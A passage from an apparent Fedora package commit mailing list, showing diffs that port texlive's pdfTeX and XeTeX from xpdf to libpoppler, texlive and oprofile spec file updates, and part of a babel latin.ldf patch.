+@@ -3442,9 +3442,9 @@ export needs_zlib
+ 
+ # we need libxpdf for pdf[ex]tex, xetex
+ test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
+-test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
+-test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
+-test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
++test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
++test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
++test "$with_xetex"   != no    && : ${needs_libxpdf=no}
+ : ${needs_libxpdf=no}
+ export needs_libxpdf
+ 
+diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
+--- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-10-15 14:57:43.000000000 +0200
+@@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
+    (generated from ../lib/texmfmp.c).
+ */
+ 
+-#define BANNER "This is pdfTeX, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
++#define BANNER "This is pdfTeX using libpoppler, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
+ #define COPYRIGHT_HOLDER "Peter Breitenlohner (eTeX)/Han The Thanh (pdfTeX)"
+ #define AUTHOR NULL
+ #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
 --- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2007-11-28 11:53:15.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -31,7 +84,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  check: pdftosrc-check
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
 --- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2007-11-28 11:53:15.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-10-15 14:57:52.000000000 +0200
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -93,6 +146,24 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (obj->isBool()) {
          pdf_printf("%s", obj->getBool()? "true" : "false");
      } else if (obj->isInt()) {
+@@ -634,7 +633,7 @@ static void writeEncodings()
+     }
+     for (r = encodingList; r != 0; r = n) {
+         n = r->next;
+-        delete r->font;
++        r->font->decRefCnt();
+         delete r;
+     }
+ }
+@@ -689,7 +688,7 @@ read_pdf_info(char *image_name, char *pa
+     // this works only for PDF 1.x -- but since any versions of PDF newer
+     // than 1.x will not be backwards compatible to PDF 1.x, pdfTeX will
+     // then have to changed drastically anyway.
+-    pdf_version_found = pdf_doc->doc->getPDFVersion();
++    pdf_version_found = pdf_doc->doc->getPDFMajorVersion() + pdf_doc->doc->getPDFMinorVersion()/10.;
+     pdf_version_wanted = 1 + (minor_pdf_version_wanted * 0.1);
+     if (pdf_version_found > pdf_version_wanted) {
+         char msg[] =
 @@ -703,7 +702,7 @@ read_pdf_info(char *image_name, char *pa
      epdf_num_pages = pdf_doc->doc->getCatalog()->getNumPages();
      if (page_name) {
@@ -102,21 +173,9 @@ diff -up texlive-2007/texk/web2c/pdftexd
          LinkDest *link = pdf_doc->doc->findDest(&name);
          if (link == 0 || !link->isOk())
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
-diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
---- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2007-11-28 11:53:15.000000000 +0100
-@@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
-    (generated from ../lib/texmfmp.c).
- */
- 
--#define BANNER "This is pdfTeX, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
-+#define BANNER "This is pdfTeX using libpoppler, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
- #define COPYRIGHT_HOLDER "Peter Breitenlohner (eTeX)/Han The Thanh (pdfTeX)"
- #define AUTHOR NULL
- #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
 --- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2007-11-28 12:03:48.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-10-15 14:57:43.000000000 +0200
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -165,7 +224,14 @@ diff -up texlive-2007/texk/web2c/pdftexd
      Stream *s;
      Object srcStream, srcName, catalogDict;
      FILE *outfile;
-@@ -62,7 +63,7 @@ int main(int argc, char *argv[])
+@@ -56,13 +57,13 @@ int main(int argc, char *argv[])
+     int objnum = 0, objgen = 0;
+     bool extract_xref_table = false;
+     int c;
+-    fprintf(stderr, "pdftosrc version %s\n", xpdfVersion);
++    fprintf(stderr, "pdftosrc\n");
+     if (argc < 2) {
+         fprintf(stderr,
                  "Usage: pdftosrc <PDF-file> [<stream-object-number>]\n");
          exit(1);
      }
@@ -176,8 +242,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
 --- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2007-11-28 11:53:15.000000000 +0100
-@@ -37,7 +39,7 @@ $Id: //depot/Build/source.development/Te
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-10-15 14:57:43.000000000 +0200
+@@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
  #include "png.h"
@@ -186,18 +252,21 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
  #define check_nprintf(size_get, size_want) \
      if ((unsigned)(size_get) >= (unsigned)(size_want)) \
-@@ -1261,7 +1263,7 @@ void initversionstring(char **versions)
+@@ -1261,9 +1261,9 @@ void initversionstring(char **versions)
      (void) asprintf(versions,
                      "Compiled with libpng %s; using libpng %s\n"
                      "Compiled with zlib %s; using zlib %s\n"
 -                    "Compiled with xpdf version %s\n",
-+                    "Compiled with libpoppler version %s\n",
++                    "Compiled with libpoppler\n",
                      PNG_LIBPNG_VER_STRING, png_libpng_ver,
-                     ZLIB_VERSION, zlib_version, xpdfVersion);
+-                    ZLIB_VERSION, zlib_version, xpdfVersion);
++                    ZLIB_VERSION, zlib_version);
  }
+ 
+ 
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
 --- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2007-11-28 11:53:15.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-10-15 14:57:43.000000000 +0200
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -238,7 +307,7 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
 --- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2007-11-28 11:53:15.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-10-15 14:57:43.000000000 +0200
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -253,13 +322,31 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		"Compiled with fontconfig version %d.%d.%d; using %d.%d.%d\n"
  		"Compiled with libpng version %s; using %s\n"
 -		"Compiled with xpdf version %s\n"
-+		"Compiled with libpoppler version %s\n"
++		"Compiled with libpoppler\n"
  #endif
  		;
  
+@@ -205,7 +205,6 @@ void initversionstring(char **versions)
+ #ifdef XETEX_OTHER
+ 			+ strlen(PNG_LIBPNG_VER_STRING)
+ 			+ strlen(png_libpng_ver)
+-			+ strlen(xpdfVersion)
+ 			+ 6 * 3 /* for fontconfig version #s (won't really need 3 digits per field!) */
+ #endif
+ 			+ 6 * 3; /* for freetype version #s (ditto) */
+@@ -229,8 +228,7 @@ void initversionstring(char **versions)
+ 		,
+ 		FC_VERSION / 10000, (FC_VERSION % 10000) / 100, FC_VERSION % 100,
+ 		fc_version / 10000, (fc_version % 10000) / 100, fc_version % 100,
+-		PNG_LIBPNG_VER_STRING, png_libpng_ver,
+-		xpdfVersion
++		PNG_LIBPNG_VER_STRING, png_libpng_ver
+ #endif
+ 		);
+ }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2007-11-28 11:53:15.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2007-11-28 11:53:15.000000000 +0100
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-10-15 14:57:41.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk
@@ -298,44 +385,3 @@ diff -up texlive-2007/texk/web2c/xetexdi
  XeTeX_mac.o: $(srcdir)/xetexdir/XeTeX_mac.c xetexd.h
  	$(compile) $(ICUCFLAGS) $(TECKITFLAGS) $(ALL_CFLAGS) $(XETEX_DEFINES) -c $< -o $@
  
-diff -up texlive-2007/configure.poppler texlive-2007/configure
---- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
-+++ texlive-2007/configure	2007-11-28 11:53:15.000000000 +0100
-@@ -3442,9 +3442,9 @@ export needs_zlib
- 
- # we need libxpdf for pdf[ex]tex, xetex
- test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
--test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
--test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
--test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
-+test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
-+test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
-+test "$with_xetex"   != no    && : ${needs_libxpdf=no}
- : ${needs_libxpdf=no}
- export needs_libxpdf
- 
-diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
---- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
-+++ texlive-2007/configure.in	2007-11-28 11:53:15.000000000 +0100
-@@ -157,9 +157,9 @@ export needs_zlib
- 
- # we need libxpdf for pdf[ex]tex, xetex
- test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
--test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
--test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
--test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
-+test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
-+test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
-+test "$with_xetex"   != no    && : ${needs_libxpdf=no}
- : ${needs_libxpdf=no}
- export needs_libxpdf
- 
-@@ -207,7 +207,7 @@ dnl We cannot use variables (e.g. $LIBPN
- sinclude(libs/libpng/libpng.ac)
- sinclude(libs/zlib/zlib.ac)
- sinclude(libs/ncurses/ncurses.ac)
--sinclude(libs/xpdf/libxpdf.ac)
-+#sinclude(libs/xpdf/libxpdf.ac)
- sinclude(libs/t1lib/t1lib.ac)
- sinclude(libs/gd/gd.ac)
- sinclude(libs/freetype/freetype.ac)


Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-10/texlive.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- texlive.spec	27 Aug 2008 13:45:49 -0000	1.43
+++ texlive.spec	21 Oct 2009 17:26:46 -0000	1.44
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	35%{?dist}
+Release:	45%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -35,7 +35,6 @@ URL:		http://tug.org/texlive/
 # non free source files removed with texlive-generate-tarball.sh
 Source0:	source-free.tar.bz2
 
-Source10:	texlive.cron
 # Filter out bad requirements (RH bug #59819).
 Source99:	texlive-filter-requires.sh
 Source100:	texlive-generate-tarball.sh
@@ -46,7 +45,7 @@ Source1001:	ftp://ftp.ascii.co.jp/pub/Te
 Source1002:	ftp://ftp.ascii.co.jp/pub/TeX/ascii-ptex/mendex/mendexk%{mendexk_ver}.tar.gz
 
 # Don't run brp-python-bytecompile
-%define __os_install_post  /usr/lib/rpm/redhat/brp-compress /usr/lib/rpm/redhat/brp-strip %{__strip} /usr/lib/rpm/redhat/brp-strip-static-archive %{__strip} /usr/lib/rpm/redhat/brp-strip-comment-note %{__strip} %{__objdump} %{nil}
+%define __os_install_post  /usr/lib/rpm/brp-compress /usr/lib/rpm/brp-strip %{__strip} /usr/lib/rpm/brp-strip-static-archive %{__strip} /usr/lib/rpm/brp-strip-comment-note %{__strip} %{__objdump} %{nil}
 
 ######
 # Red Hat-specific TeX configuration patches
@@ -75,6 +74,10 @@ Patch27:	texlive-poppler.patch
 Patch28:	texlive-man-notetex.patch
 Patch29:	texlive-man-context.patch
 Patch30:	texlive-lacheck.patch
+Patch31:	texlive-elif.patch
+Patch32:	texlive-getline.patch
+Patch33:	texlive-poolfix.patch
+Patch34:	texlive-dvipsconfig.patch
 
 ######
 # mpeters contributed patches
@@ -295,6 +298,7 @@ Group: Applications/Publishing
 Requires: texlive = %{version}-%{release}
 Requires: texlive-latex = %{version}-%{release}
 Requires: texlive-texmf-dvips = %{version}
+Requires: texlive-texmf-east-asian = %{version}
 Requires: texlive-texmf-errata-east-asian = %{version}
 Requires: mendexk
 Obsoletes: texlive-japanese < 2007-20
@@ -318,18 +322,19 @@ Provides: tex(context)
 ConTeXt is a document preparation system based on TeX.
 
 %package -n kpathsea
-Summary: Shared library needed by kpathsea and info files
+Summary: Path searching library for TeX-related files
 Group:   Development/Libraries
 Obsoletes: tetex-fonts < 3.0-99
-Requires: texlive = %{version}-%{release}
 
 %description -n kpathsea
-Shared library needed by kpathsea and info files.
+The library is at the centre of pretty much all Unix-based TeX
+executable. It is no longer distributed separately, but rather
+consititutes a central part of the sources of the TeX-live
+distribution.
 
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
-Requires:  kpathsea = %{version}-%{release}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -390,6 +395,10 @@ chmod -x texk/dvipdfm/encodings.c
 %patch28 -p1 -b .notetex
 %patch29 -p1 -b .man-context
 %patch30 -p1 -b .lacheck
+%patch31 -p1 -b .elif
+%patch32 -p1 -b .getline
+%patch33 -p1 -b .poolfix
+%patch34 -p1 -b .dvipsconfig
 
 # fix non utf man pages
 %patch42 -p1 -b .notutf8-2
@@ -449,14 +458,13 @@ cp -lR texk/dvipsk texk/pdvipsk
 cd pdvipsk
 %patch1005 -p0
 cd -
-patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch
+patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch || :
 %patch1000 -p1 -b .pdvips
 ln -s dvips.1 texk/pdvipsk/pdvips.1
 
 # set up mendexk
 tar xfz %{SOURCE1002} -C texk
 
-
 %build
 set -x
 # define CCACHE_DIR to let the build pass with ccache enabled.
@@ -597,9 +605,6 @@ cp texk/kpathsea/paths.h __fedora_kpaths
 # these are owned by texmf-doc package
 rm -rf %{buildroot}%{_texmf_main}/doc/tetex
 
-# install cron file
-install -p -D -m755 %{SOURCE10} %{buildroot}%{_sysconfdir}/cron.daily/texlive.cron
-
 # remove pool files, they belong to texlive-texmf
 rm -rf %{buildroot}%{_texmf_main}/web2c/*.pool
 # ptex pool file is added later, and therefore kept
@@ -1023,7 +1028,6 @@ fi
 # man pages for other utilities
 %{_mandir}/man1/pdftosrc.1*
 # other stuff
-%{_sysconfdir}/cron.daily/texlive.cron
 %{_infodir}/web2c.info.*
 %{_texmf_main}/web2c/*.opt
 %{_texmf_main}/web2c/mktexdir
@@ -1233,6 +1237,21 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
+- make kpathsea not dependent on texlive
+- fix lacheck again (#451513)
+- fix dvips configuration (#467542)
+- update kpathsea description and summary (#519257)
+- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
+- don't complain if the pdvipsk hunks touching config.ps don't apply
+- avoid clashes with getline() from glibc
+- texlive-east-asian now requires texlive-texmf-east-asian (#487258)
+- do not attempt to remove old fonts via cron in /var/lib/texmf,
+  fonts are stored in ~/.texlive2007/texmf-var per-user
+  (#477833, #463975, #453468)
+- use correct paths in brp-* post install scriptlets (#468179)
+- fix build with gcc4.4
+
 * Wed Aug 27 2008 Jindrich Novy <jnovy at redhat.com> - 2007-35
 - texlive-context requires texlive-texmf-context (#455163)
 - fix lacheck to not to segfault (#451513)


--- texlive.cron DELETED ---



From wcohen at fedoraproject.org  Wed Oct 21 17:30:54 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Wed, 21 Oct 2009 17:30:54 +0000 (UTC)
Subject: rpms/oprofile/F-12 oprofile.spec,1.83,1.84
Message-ID: <20091021173054.6CBD111C00E8@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25381

Modified Files:
	oprofile.spec 
Log Message:
* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
- Switch to using ExcludeArch.




Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/F-12/oprofile.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- oprofile.spec	8 Oct 2009 00:30:36 -0000	1.83
+++ oprofile.spec	21 Oct 2009 17:30:54 -0000	1.84
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -17,7 +17,8 @@ Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
-ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64
+#ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64 %{arm}
+#If oprofile doesn't build on an arch, report it and will add ExcludeArch tag.
 BuildRequires: qt3-devel
 BuildRequires: libxslt
 BuildRequires: docbook-style-xsl
@@ -230,6 +231,9 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
+- Switch to using ExcludeArch.
+
 * Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
 - Allow timer mode to work.
 - Correct location for addditional files in man pages. Resolves: rhbz #508669



From wcohen at fedoraproject.org  Wed Oct 21 17:32:14 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Wed, 21 Oct 2009 17:32:14 +0000 (UTC)
Subject: rpms/oprofile/F-11 oprofile.spec,1.82,1.83
Message-ID: <20091021173214.E80CD11C00E8@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26092

Modified Files:
	oprofile.spec 
Log Message:
* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
- Switch to using ExcludeArch.




Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/F-11/oprofile.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- oprofile.spec	8 Oct 2009 00:34:51 -0000	1.82
+++ oprofile.spec	21 Oct 2009 17:32:14 -0000	1.83
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -17,7 +17,8 @@ Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
-ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64
+#ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64 %{arm}
+#If oprofile doesn't build on an arch, report it and will add ExcludeArch tag.
 BuildRequires: qt3-devel
 BuildRequires: libxslt
 BuildRequires: docbook-style-xsl
@@ -230,6 +231,9 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
+- Switch to using ExcludeArch.
+
 * Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
 - Allow timer mode to work.
 - Correct location for addditional files in man pages. Resolves: rhbz #508669



From wcohen at fedoraproject.org  Wed Oct 21 17:33:05 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Wed, 21 Oct 2009 17:33:05 +0000 (UTC)
Subject: rpms/oprofile/F-10 oprofile.spec,1.78,1.79
Message-ID: <20091021173305.78B9711C00E8@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26343

Modified Files:
	oprofile.spec 
Log Message:
* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
- Switch to using ExcludeArch.




Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/F-10/oprofile.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- oprofile.spec	8 Oct 2009 00:57:49 -0000	1.78
+++ oprofile.spec	21 Oct 2009 17:33:05 -0000	1.79
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -17,7 +17,8 @@ Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
-ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64
+#ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64 %{arm}
+#If oprofile doesn't build on an arch, report it and will add ExcludeArch tag.
 BuildRequires: qt3-devel
 BuildRequires: libxslt
 BuildRequires: docbook-style-xsl
@@ -230,6 +231,9 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
+- Switch to using ExcludeArch.
+
 * Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
 - Allow timer mode to work.
 - Correct location for addditional files in man pages. Resolves: rhbz #508669



From jnovy at fedoraproject.org  Wed Oct 21 17:33:44 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:33:44 +0000 (UTC)
Subject: rpms/texlive-texmf/F-12 texlive-2007-latin.patch, NONE,
	1.1 texlive-filter-requires.sh, 1.2, 1.3 texlive-texmf.spec,
	1.33, 1.34
Message-ID: <20091021173344.5093911C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive-texmf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26552

Modified Files:
	texlive-filter-requires.sh texlive-texmf.spec 
Added Files:
	texlive-2007-latin.patch 
Log Message:
* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
- do not conflict with dvipdfm
- update perl requires filter
- update latin.ldf (#469948)
- do not provide any perl dependencies (#516350)


texlive-2007-latin.patch:
 latin.ldf |  150 +++++++++++++++++++++-----------------------------------------
 1 file changed, 52 insertions(+), 98 deletions(-)

--- NEW FILE texlive-2007-latin.patch ---
diff -up texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf
--- texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin	2006-08-27 20:22:43.000000000 +0200
+++ texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf	2009-10-15 21:09:44.000000000 +0200
@@ -5,47 +5,26 @@
 %% The original source files were:
 %%
 %% latin.dtx  (with options: `code')
+%% 
 %% This is a generated file.
 %% 
-%% Copyright 1989-2005 Johannes L. Braams and any individual authors
+%% Copyright 1989-2000 Johannes L. Braams and any individual authors
 %% listed elsewhere in this file.  All rights reserved.
 %% 
-%% This file was generated from file(s) of the Babel system.
-%% ---------------------------------------------------------
-%% 
-%% It may be distributed and/or modified under the
-%% conditions of the LaTeX Project Public License, either version 1.3
-%% of this license or (at your option) any later version.
-%% The latest version of this license is in
-%%   http://www.latex-project.org/lppl.txt
-%% and version 1.3 or later is part of all distributions of LaTeX
-%% version 2003/12/01 or later.
-%% 
-%% This work has the LPPL maintenance status "maintained".
-%% 
-%% The Current Maintainer of this work is Johannes Braams.
-%% 
-%% This file may only be distributed together with a copy of the Babel
-%% system. You may however distribute the Babel system without
-%% such generated files.
+%% This file is part of the Babel system release 3.7.
+%% --------------------------------------------------
 %% 
-%% The list of all files belonging to the Babel distribution is
-%% given in the file `manifest.bbl'. See also `legal.bbl for additional
-%% information.
-%% 
-%% The list of derived (unpacked) files belonging to the distribution
-%% and covered by LPPL is defined by the unpacking scripts (with
-%% extension .ins) which are part of the distribution.
-%% 
-%% Copyright 1999-2001 Claudio Beccari All rights reserved.
+%% It may be distributed under the terms of the LaTeX Project Public
+%% License, as described in lppl.txt in the base LaTeX distribution.
+%% Either version 1.1 or, at your option, any later version.
 \ProvidesFile{latin.ldf}
-        [2005/11/17 v2.0g Latin support from the babel system]
+        [2007/03/20 v.2.0f Latin support from the babel system]
 %% File `latin.dtx'
 %% Babel package for LaTeX version 2e
 %% Copyright (C) 1989 - 2005
 %%           by Johannes Braams, TeXniek
-%% Please report errors to: J.L. Braams babel at braams.cistron.nl
-%%                          Claudio Beccari beccari at polito.it
+%% Please report errors to: J.L. Braams
+%%                          JLBraams at cistron.nl
 \LdfInit{latin}{captionslatin}
 \ifx\l at latin\@undefined
     \@nopatterns{Latin}
@@ -56,10 +35,6 @@
   \expandafter\addto\expandafter\extraslatin
   \expandafter{\extrasmedievallatin}%
   }
-\bbl at declare@ttribute{latin}{withprosodicmarks}{%
-  \expandafter\addto\expandafter\extraslatin
-  \expandafter{\extraswithprosodicmarks}%
-  }
 \@namedef{captionslatin}{%
   \def\prefacename{Praefatio}%
   \def\refname{Conspectus librorum}%
@@ -84,11 +59,10 @@
   \def\glossaryname{Glossarium}%
   }
 \def\datelatin{%
-  \def\november{Novembris}%
+  \def\november{Novembris}
   \def\today{%
     {\check at mathfonts\fontsize\sf at size\z@\math at fontsfalse\selectfont
-      \uppercase\expandafter{\romannumeral\day}}\nobreakspace
-    \ifcase\month\or
+      \uppercase\expandafter{\romannumeral\day}}~\ifcase\month\or
     Ianuarii\or Februarii\or Martii\or Aprilis\or Maii\or Iunii\or
     Iulii\or Augusti\or Septembris\or Octobris\or \november\or
     Decembris\fi
@@ -105,19 +79,19 @@
 \babel at savevariable{\lccode`\V}%
 \babel at savevariable{\uccode`\u}%
 \lccode`\V=`\u \uccode`\u=`\V}
-\addto\extrasmedievallatin{%
-  \babel at savevariable{\lccode`\^^e6}% T1   \ae
-  \babel at savevariable{\uccode`\^^e6}% T1   \ae
-  \babel at savevariable{\lccode`\^^c6}% T1   \AE
-  \babel at savevariable{\lccode`\^^f7}% T1   \oe
-  \babel at savevariable{\uccode`\^^f7}% T1   \OE
-  \babel at savevariable{\lccode`\^^d7}% T1   \OE
-  \babel at savevariable{\lccode`\^^1a}% OT1  \ae
